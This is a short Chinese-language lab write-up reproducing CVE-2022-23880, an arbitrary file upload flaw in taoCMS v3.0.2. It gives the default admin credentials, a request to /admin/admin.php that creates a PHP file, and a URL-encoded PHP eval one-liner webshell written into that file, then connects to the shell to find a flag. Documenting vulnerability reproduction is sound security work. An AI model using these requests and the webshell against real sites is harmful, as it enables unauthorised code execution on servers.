靶场打靶或漏洞复现记录

本文随缘更新，如果有时间打靶我就会更新。

CVE-2022-23880

taoCMS v3.0.2 File Management 模块存在任意文件上传漏洞。攻击者可以通过伪造的PHP文件执行任意代码。

算是一个比较新的漏洞，我基本没有搜到有用的信息

参考

https://github.com/taogogo/taocms/issues/25

Writeup

1. taoCMS默认的管理员账号密码是 admin 和 tao
2. 登录后，发送GET请求
   1. 在/admin/admin.php下发送action=file&ctrl=create&isdir=0&name=test.php
   2. 
   3. 成功创建文件
3. 方法一：可以发送POST请求写入文件
   1. 对admin/admin.php发送filedata=%3C%3Fphp%20%40eval(%24_POST%5Ba'%5D)%3B%3F%3E&action=file&ctrl=save&path=test.php
4. 方法二：直接后台写入一句话木马
   1. 
5. 连接即可
   1. 
   2. 根目录下发现flag